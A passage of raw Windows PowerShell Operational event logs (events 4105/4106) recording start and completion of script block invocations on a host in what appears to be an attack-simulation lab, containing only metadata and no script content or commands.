OpCode=On create calls
RecordNumber=2023180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023179
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023177
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023175
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023193
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023191
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023189
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023187
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023185
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023203
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023201
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023199
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023197
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023195
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023213
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023211
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023209
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023207
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023205
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023219
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023217
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023215
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023223
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023221
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023234
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023233
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023231
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023229
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023227
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
